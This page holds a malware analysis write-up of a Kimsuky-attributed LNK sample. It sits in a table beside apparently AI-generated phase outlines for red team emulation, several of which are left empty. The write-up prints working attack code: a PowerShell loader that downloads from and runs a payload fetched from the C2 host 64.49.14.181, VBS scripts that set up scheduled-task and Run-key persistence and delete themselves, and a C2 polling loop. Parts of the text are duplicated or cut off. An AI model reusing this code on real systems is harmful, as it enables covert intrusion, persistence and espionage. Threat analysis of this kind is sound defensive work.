| Original Text |
|---|
lnkparse sample.lnk > lnkparse.json
Straight up we see some red flags like mshta.exe and some javascript command line arguements.
The mshta.exe is commonly exploited by threat actors for executing malicious scripts via
Microsoft HTML Application files. On crafting the payload we get the something like this: The
server (64.49.14.181) is sending a Base64-encoded payload, which is decoded and saved as a ZIP
file (t.zip). Once downloaded, the ZIP file is extracted, and the s.vbs script is executed.
1
2
3
4
5
6
7
8
9
10
11
powershell -ep bypass -c $r='64.49.14.181';
$p='8014';
$r=New-Object System.IO.StreamReader((New-Object System.Net.Sockets.TcpClient($r,
$p)).GetStream());
$z=$r.ReadLine();
$b=[Convert]::FromBase64String($z);
Set-Content -Path 'C:\ProgramData\t.zip' -Value $b -Encoding Byte;
Expand-Archive -Path 'C:\ProgramData\t.zip' -DestinationPath 'C:\ProgramData';
del 'C:\ProgramData\t.zip';
$v='C:\ProgramData\s.vbs';
&$v;
sc C:\ProgramData\nt91610 81
The server (64.49.14.181) is sending a Base64-encoded payload, which is decoded and saved as a
ZIP file (t.zip). Once downloaded, the ZIP file is extracted, and the s.vbs script is executed.
Let’s get the ZIP file and see the contents inside it.
Zip File
The unzipped file contains 3 files
R9147.vbs
xM568.tmp
s.vbs
Kimsuky A Gift That Keeps on Giving
Introduction
Kimsuky - Shadow of Cyber Espionage
→ A sample was tweeted by our lovable malwrhunterteam with the tags being pointed out to
Kimsuky
and it was irresitable for us to have a look at it . The TTP do point to Kimsuky or a
DPRK based Threat Actor. The initial infection vector is a LNK file which is mostly attributed to
them.
LNK Parse
→ Like every sample, we upload to VT to get a basic idea and our sample todays ranks 16/63. The
sample is a LNK or a shortcut file in Windows. We can use LNKParser to get the output in JSON
format and work with it.
s.vbs
Let’s have a look at s.vbs since it’s executed first.
→ The variable iko9 stores the encoded payload and it’s decoded using a simple for loop
employing a Caeser Cipher. It decodes the variable using a simple character shifting (chr(ce8-
(4)))). Once it’s decoded , it executes kouahpwya. We can write a python script to decode.
1
2
3
4
5
6
7
8
payload = "big big payload"
decoded = ""
for char in payload_2:
decoded +=chr(ord(char) - 4)
print(decoded)
Let’s look at the VB script in parts since it’s a bit long.
1
2
3
4
5
6
7
8
9
10
11
12
msnc = "om is the hosted versi"
lopppc = "munity and frequent updates: Wo"
On Error Resume Next '
' Garbage text to avoid static detection
mkc = "Scr" + "ipt." '"Script." string
smocv = "Set monce = W"
bothec = smocv + mkc + "CreateObj"
jsm = bothec + "ect(""WS" + "cript.Shell""):"
Execute jsm
' Execute the command to create the WScript.Shell object
→ The script begins by setting up a WScript.Shell object, which is a key component for running
system commands. By concatenating various string segments to build up the object name, the
script evades basic detection techniques. Once assembled, it executes the command to create this
object, allowing it to interact with the system shell later in the code.
1
2
3
cl = "cmd /c schtasks /create /sc minute /mo 1 /tn
MicrosoftEdgeUpdateTaskMSCore[57174-71251-9342] /tr ""wscript //e:vbscript //b C:\
\ProgramData\07578.tmp"" /f"
monce.Run cl, 0, false
→ This section of the script creates a scheduled task disguised as an Edge browser update. The task
runs every minute, executing a hidden VBS script located at C:\ProgramData\07578.tmp. The
purpose of this task is to maintain persistence.
1
2
3
4
5
6
7
8
dc = "c:\programdata\DOC578309.docx"
Set fso = CreateObject("Scripting.Filesystemobject")
Set fp = fso.OpenTextFile(dc, 2, True)
fp.Write ""
fp.Close
Set opsce = CreateObject("Shell.Application")
jsm = "opsce.ShellExecute dc:"
Execute jsm
→ In this step, an empty DOC file is created in the ProgramData folder, and the script proceeds to
open it using the ShellExecute function. This serves as a decoy or distraction while the actual code
is being ran. This is a wonderful technique.
1
2
3
4
5
6
7
8
kic1 = "ws\system32\wscript.exe //" + "b //e:vbscript C:\ProgramData\R9147.vbs"" /f"
qoc = "dows\CurrentVersion\Run"" /v Winload /t REG_SZ /d ""c:\windo" + kic1
tmp2 = "KCU\Software\Microsoft\Win" + qoc
untiy = "cmd /c r"
tmp1 = "eg add ""H"
tmp3 = tmp1 + tmp2
trn1 = untiy + tmp3
monce.Run trn1, 0, false
→ This part modifies the Windows registry to ensure that a malicious script (R9147.vbs) will be
executed every time the system starts. The registry entry is added under the Run key, which is a
known technique used by malware to maintain persistence on the victim’s machine.
1
2
untiy = "powershell -ep bypass -command $fn='C:\ProgramData\xM578.tmp';$d = Get-
Content $fn; Invoke-Expression $d;"
monce.Run untiy, 0, false
→ In this section, a PowerShell command is executed to read and run the contents of a file (C:
\ProgramData\xM578.tmp).
1
2
3
4
5
6
7
s1 = "WS" + "cri"
s2 = "pt.Sleep(2000):Se"
s3 = "ct = CreateOb"
s4 = "DeleteFile"
str1 = s1 + "pt.Sle" + s2 + "t tyhun" + s3 + "ject(""Scripting.FileSystemObject""):tyhunct." +
s4 + "(""C:\ProgramData\s.vbs""):"
Execute str1
→ After executing , the script pauses for two seconds and then deletes itself (C:
\ProgramData\s.vbs). This cleanup process is designed to remove traces of the script from the
system to avoid detection and analysis by security tools. However, the malicious tasks and registry
entries remain active.
R9147.vbs
This script is also obfuscated similarly like the previous one and uses the same decoding routine of
Ceaser Cipher. We can use the same python script to get the decoded file. After clearing some
garbage text. The final payload we’re left with is
1
2
3
4
5
6
7
8
On Error Resume Next
' Create a WScript Shell object
Set sh = WScript.CreateObject("WScript.Shell")
' Execute the contents of a file xM578.tmp
bewcdf = "powershell -ep bypass -command $fn='C:\ProgramData\xM578.tmp'; $d =
Get-Content $fn; Invoke-Expression $d;"
' Run the PowerShell (with the window hidden)
sh.Run bewcdf, 0, false
→ This script sets up a PowerShell command to execute a hidden payload stored in xM578.tmp.
The use of decoy strings and obfuscation techniques makes the script harder to analyze. Let’s
analyse the next phase.
xM578.tmp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$unmcnex = "64.49.14.181"
$yutbbc = "7032"
function MuTxdonewd
{
param(
[parameter(Mandatory = $true)][string] $sefncevID
)
try
{
$Musnciuhwefx = New-Object System.Threading.Mutex -ArgumentList 'false',
$sefncevID
if (-not $Musnciuhwefx.WaitOne(2000))
{
Exit;
}
return $Musnciuhwefx
}
catch [System.Threading.AbandonedMutexException]
{
$Musnciuhwefx = New-Object System.Threading.Mutex -ArgumentList 'false',
$sefncevID
return MuTxdonewd -sefncevID $sefncevID
28
29
30
}
}
$Musnciuhwefx = MuTxdonewd -sefncevID 'ScR38294'
→ This function defines a mutex, which is a synchronization object to ensure that only one
instance of the script or malware is running at a time. The Mutex ensures that if the script is
already running, a new instance of it cannot be initiated. If an existing instance is found, the script
will exit. The script calls the mutex function MuTxdonewd with a specific ID (ScR38294)
1
2
3
4
5
6
7
8
while($true)
{ powershell -ep bypass -f $tmpz; del $tmpz; } Sleep(20); } → The script reads commands from C2 server and the commands are written to a temporary file(tmps2.ps1). The command is later on executed through powershell. Like earlier cleanup of the temporary file is done. The script listens for new commands every 20 seconds. Not The End → From the moment I first encountered Kimsuky APT, I was intrigued by their operations. Their tactics, techniques, and persistence had always fascinated me, but I never had the chance to interact directly with them. However, this time was different. For the first time, they acknowledged my presence with a simple yet telling message from their side. It was a subtle but clear sign that the conversation had finally begun… But before that let’s see what happens when we run the script in our VM in order to verify our findings. On running the sample we can check the registry keys inside HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Winload. This key was used for persistence in one of the VBS scripts to register a task that runs the .vbs file at startup These were the files that were dropped, verifying our findings. Last but not the least - Like the nutjob I am, I left my VM connected to internet for 13 hours anticipating that maybe we see a reply from the C2 server. Remember that the response from C2 server will be written in a file called tmps2.ps1. I changed the code a bit to prevent it from auto deleting after getting the response. And there it was after roughly 6 hours of running the initial sample, the file was dropped and there it was the reply I was always hankering for. What did they send ? ▸ Click to reveal spoiler Yes this is the command I received from the C2 but unfortunately nothing further was received. Soon it was silence, the connection fizzled out, leaving nothing more than traces of digital dust and that one lingering message. And just like that, the window into their world closed. Was it a taunt? A sign of respect? Or merely an oversight from an ever-watchful adversary? I’ll never know. Overview → The sample we’ve analyzed here fits perfectly into the broader pattern of cyber attacks attributed to the Kimsuky APT group, a known North Korean-linked threat actor. From the use of LNK files as an initial infection vector to the deployment of VBS scripts for persistence and communication with a remote C2 server, the techniques align with past campaigns orchestrated by this group. → In this case, we observe a well-crafted attack that leverages stealth and obfuscation techniques, including Base64 encoding, Caesar Cipher obfuscation, and the use of scheduled tasks and registry keys to maintain persistence on the victim’s machine. The clear attention to detail in avoiding static detection, such as splitting command strings, shows the group’s sophistication. → The communication to the C2 server and the ultimate payload execution leave no doubt that this campaign is aimed at gaining persistent access to the victim’s machine for extended periods, likely to exfiltrate information or manipulate systems in espionage-related activities. Let’s hope next time malwrhunterteam tags us when something like this comes <3. IOC 1 2 3 4 5 6 7 8 Upbit_20240916.docx.lnk MD5 37fb639a295daa760c739bc21c553406 SHA-1 50e4d8a112e4aad2c984d22f83c80c8723f232da SHA-256 41cf6298a41c27357ee5f70d8cd1c0bd48698fc30c4255fad6a91798286e5229 |
| Original Text | ChatGPT 4o Paged |
|---|---|
lnkparse sample.lnk > lnkparse.json Straight up we see some red flags like mshta.exe and some javascript command line arguements. The mshta.exe is commonly exploited by threat actors for executing malicious scripts via Microsoft HTML Application files. On crafting the payload we get the something like this: The server (64.49.14.181) is sending a Base64-encoded payload, which is decoded and saved as a ZIP file (t.zip). Once downloaded, the ZIP file is extracted, and the s.vbs script is executed. 1 2 3 4 5 6 7 8 9 10 11 powershell -ep bypass -c $r='64.49.14.181'; $p='8014'; $r=New-Object System.IO.StreamReader((New-Object System.Net.Sockets.TcpClient($r, $p)).GetStream()); $z=$r.ReadLine(); $b=[Convert]::FromBase64String($z); Set-Content -Path 'C:\ProgramData\t.zip' -Value $b -Encoding Byte; Expand-Archive -Path 'C:\ProgramData\t.zip' -DestinationPath 'C:\ProgramData'; del 'C:\ProgramData\t.zip'; $v='C:\ProgramData\s.vbs'; &$v; sc C:\ProgramData\nt91610 81 The server (64.49.14.181) is sending a Base64-encoded payload, which is decoded and saved as a ZIP file (t.zip). Once downloaded, the ZIP file is extracted, and the s.vbs script is executed. Let’s get the ZIP file and see the contents inside it. Zip File The unzipped file contains 3 files R9147.vbs xM568.tmp s.vbs |
Phase: Execution
Phase: Command and Control
Phase: File Decryption and Execution
Phase: Persistence (Inference)
(Please note, the exact method for persistence is not explicitly stated, but the presence of scripts like |
Kimsuky A Gift That Keeps on Giving Introduction Kimsuky - Shadow of Cyber Espionage → A sample was tweeted by our lovable malwrhunterteam with the tags being pointed out to Kimsuky and it was irresitable for us to have a look at it . The TTP do point to Kimsuky or a DPRK based Threat Actor. The initial infection vector is a LNK file which is mostly attributed to them. LNK Parse → Like every sample, we upload to VT to get a basic idea and our sample todays ranks 16/63. The sample is a LNK or a shortcut file in Windows. We can use LNKParser to get the output in JSON format and work with it. |
Phase: Initial Access
Phase: Execution
Considering the absence of additional specifics in the initial excerpt, further details would depend upon examination of subsequent behaviors described in the full CTI report. |
s.vbs Let’s have a look at s.vbs since it’s executed first. → The variable iko9 stores the encoded payload and it’s decoded using a simple for loop employing a Caeser Cipher. It decodes the variable using a simple character shifting (chr(ce8- (4)))). Once it’s decoded , it executes kouahpwya. We can write a python script to decode. 1 2 3 4 5 6 7 8 payload = "big big payload" decoded = "" for char in payload_2: decoded +=chr(ord(char) - 4) print(decoded) Let’s look at the VB script in parts since it’s a bit long. 1 2 3 4 5 6 7 8 9 10 11 12 msnc = "om is the hosted versi" lopppc = "munity and frequent updates: Wo" On Error Resume Next ' ' Garbage text to avoid static detection mkc = "Scr" + "ipt." '"Script." string smocv = "Set monce = W" bothec = smocv + mkc + "CreateObj" jsm = bothec + "ect(""WS" + "cript.Shell""):" Execute jsm ' Execute the command to create the WScript.Shell object → The script begins by setting up a WScript.Shell object, which is a key component for running system commands. By concatenating various string segments to build up the object name, the script evades basic detection techniques. Once assembled, it executes the command to create this object, allowing it to interact with the system shell later in the code. 1 2 3 cl = "cmd /c schtasks /create /sc minute /mo 1 /tn MicrosoftEdgeUpdateTaskMSCore[57174-71251-9342] /tr ""wscript //e:vbscript //b C:\ \ProgramData\07578.tmp"" /f" monce.Run cl, 0, false |
Phase: Execution
Phase: Persistence
|
→ This section of the script creates a scheduled task disguised as an Edge browser update. The task runs every minute, executing a hidden VBS script located at C:\ProgramData\07578.tmp. The purpose of this task is to maintain persistence. 1 2 3 4 5 6 7 8 dc = "c:\programdata\DOC578309.docx" Set fso = CreateObject("Scripting.Filesystemobject") Set fp = fso.OpenTextFile(dc, 2, True) fp.Write "" fp.Close Set opsce = CreateObject("Shell.Application") jsm = "opsce.ShellExecute dc:" Execute jsm → In this step, an empty DOC file is created in the ProgramData folder, and the script proceeds to open it using the ShellExecute function. This serves as a decoy or distraction while the actual code is being ran. This is a wonderful technique. 1 2 3 4 5 6 7 8 kic1 = "ws\system32\wscript.exe //" + "b //e:vbscript C:\ProgramData\R9147.vbs"" /f" qoc = "dows\CurrentVersion\Run"" /v Winload /t REG_SZ /d ""c:\windo" + kic1 tmp2 = "KCU\Software\Microsoft\Win" + qoc untiy = "cmd /c r" tmp1 = "eg add ""H" tmp3 = tmp1 + tmp2 trn1 = untiy + tmp3 monce.Run trn1, 0, false → This part modifies the Windows registry to ensure that a malicious script (R9147.vbs) will be executed every time the system starts. The registry entry is added under the Run key, which is a known technique used by malware to maintain persistence on the victim’s machine. 1 2 untiy = "powershell -ep bypass -command $fn='C:\ProgramData\xM578.tmp';$d = Get- Content $fn; Invoke-Expression $d;" monce.Run untiy, 0, false → In this section, a PowerShell command is executed to read and run the contents of a file (C: \ProgramData\xM578.tmp). 1 2 3 4 5 6 7 s1 = "WS" + "cri" s2 = "pt.Sleep(2000):Se" s3 = "ct = CreateOb" s4 = "DeleteFile" str1 = s1 + "pt.Sle" + s2 + "t tyhun" + s3 + "ject(""Scripting.FileSystemObject""):tyhunct." + s4 + "(""C:\ProgramData\s.vbs""):" Execute str1 → After executing , the script pauses for two seconds and then deletes itself (C: \ProgramData\s.vbs). This cleanup process is designed to remove traces of the script from the system to avoid detection and analysis by security tools. However, the malicious tasks and registry |
Phase: Persistence
Phase: Execution
Phase: Defense Evasion
Phase: Execution (Distraction)
|
entries remain active. R9147.vbs This script is also obfuscated similarly like the previous one and uses the same decoding routine of Ceaser Cipher. We can use the same python script to get the decoded file. After clearing some garbage text. The final payload we’re left with is 1 2 3 4 5 6 7 8 On Error Resume Next ' Create a WScript Shell object Set sh = WScript.CreateObject("WScript.Shell") ' Execute the contents of a file xM578.tmp bewcdf = "powershell -ep bypass -command $fn='C:\ProgramData\xM578.tmp'; $d = Get-Content $fn; Invoke-Expression $d;" ' Run the PowerShell (with the window hidden) sh.Run bewcdf, 0, false → This script sets up a PowerShell command to execute a hidden payload stored in xM578.tmp. The use of decoy strings and obfuscation techniques makes the script harder to analyze. Let’s analyse the next phase. xM578.tmp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $unmcnex = "64.49.14.181" $yutbbc = "7032" function MuTxdonewd { param( [parameter(Mandatory = $true)][string] $sefncevID ) try { $Musnciuhwefx = New-Object System.Threading.Mutex -ArgumentList 'false', $sefncevID if (-not $Musnciuhwefx.WaitOne(2000)) { Exit; } return $Musnciuhwefx } catch [System.Threading.AbandonedMutexException] { $Musnciuhwefx = New-Object System.Threading.Mutex -ArgumentList 'false', $sefncevID return MuTxdonewd -sefncevID $sefncevID |
Phase: Execution
Phase: Execution
Phase: Defense Evasion
Phase: Persistence
These techniques represent the tactics and procedures employed by the threat actor in the execution and persistence phases, utilizing obfuscation and control mechanisms to avoid detection. |
28
29
30
}
}
$Musnciuhwefx = MuTxdonewd -sefncevID 'ScR38294'
→ This function defines a mutex, which is a synchronization object to ensure that only one
instance of the script or malware is running at a time. The Mutex ensures that if the script is
already running, a new instance of it cannot be initiated. If an existing instance is found, the script
will exit. The script calls the mutex function MuTxdonewd with a specific ID (ScR38294)
1
2
3
4
5
6
7
8
while($true)
{ powershell -ep bypass -f $tmpz; del $tmpz; } Sleep(20); } → The script reads commands from C2 server and the commands are written to a temporary file(tmps2.ps1). The command is later on executed through powershell. Like earlier cleanup of the temporary file is done. The script listens for new commands every 20 seconds. Not The End → From the moment I first encountered Kimsuky APT, I was intrigued by their operations. Their tactics, techniques, and persistence had always fascinated me, but I never had the chance to interact directly with them. However, this time was different. For the first time, they acknowledged my presence with a simple yet telling message from their side. It was a subtle but clear sign that the conversation had finally begun… |
Phase: Execution
Phase: Command and Control (C2)
Phase: Execution
|
But before that let’s see what happens when we run the script in our VM in order to verify our findings. On running the sample we can check the registry keys inside HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Winload. This key was used for persistence in one of the VBS scripts to register a task that runs the .vbs file at startup These were the files that were dropped, verifying our findings. Last but not the least - Like the nutjob I am, I left my VM connected to internet for 13 hours anticipating that maybe we see a reply from the C2 server. Remember that the response from C2 server will be written in a file called tmps2.ps1. I changed the code a bit to prevent it from auto deleting after getting the response. And there it was after roughly 6 hours of running the initial sample, the file was dropped and there it was the reply I was always hankering for. What did they send ? ▸ Click to reveal spoiler Yes this is the command I received from the C2 but unfortunately nothing further was received. Soon it was silence, the connection fizzled out, leaving nothing more than traces of digital dust and that one lingering message. And just like that, the window into their world closed. Was it a taunt? A sign of respect? Or merely an oversight from an ever-watchful adversary? I’ll never know. |
Phase: Persistence
Phase: Command and Control (C2)
Ensure that any commands or behaviors inferred from the context of the CTI report align with known TTPs for accurate emulation and analysis. |
Overview → The sample we’ve analyzed here fits perfectly into the broader pattern of cyber attacks attributed to the Kimsuky APT group, a known North Korean-linked threat actor. From the use of LNK files as an initial infection vector to the deployment of VBS scripts for persistence and communication with a remote C2 server, the techniques align with past campaigns orchestrated by this group. → In this case, we observe a well-crafted attack that leverages stealth and obfuscation techniques, including Base64 encoding, Caesar Cipher obfuscation, and the use of scheduled tasks and registry keys to maintain persistence on the victim’s machine. The clear attention to detail in avoiding static detection, such as splitting command strings, shows the group’s sophistication. → The communication to the C2 server and the ultimate payload execution leave no doubt that this campaign is aimed at gaining persistent access to the victim’s machine for extended periods, likely to exfiltrate information or manipulate systems in espionage-related activities. Let’s hope next time malwrhunterteam tags us when something like this comes <3. IOC 1 2 3 4 5 6 7 8 Upbit_20240916.docx.lnk MD5 37fb639a295daa760c739bc21c553406 SHA-1 50e4d8a112e4aad2c984d22f83c80c8723f232da SHA-256 41cf6298a41c27357ee5f70d8cd1c0bd48698fc30c4255fad6a91798286e5229 |
Phase: Initial Access
Phase: Execution
Phase: Persistence
Phase: Defense Evasion
Phase: Command and Control
This structured outline captures the essential techniques and procedures used in the attack, focusing on command-line actions and tactics for red team emulation. |
| Gemini 2.0 |
|---|
Model: gemini-2.0-flashPhase: Initial Access
Phase: Execution
Phase: Execution
Phase: Persistence
Phase: Persistence
Phase: Lateral Movement/Execution
Phase: Cleanup and Execution
Phase: Execution
|
| Gemini 2.5 |
|---|
Model: gemini-2.5-flash-preview-05-20Here's a structured breakdown of the threat actor's procedures for red team emulation, focusing on commands, tools, and techniques while excluding specific IOCs: Phase: Initial Access
Phase: Execution / Initial Payload Delivery
Phase: Defense Evasion & Persistence (via s.vbs)
Phase: Defense Evasion (via xM578.tmp)
Phase: Command and Control (via xM578.tmp)
|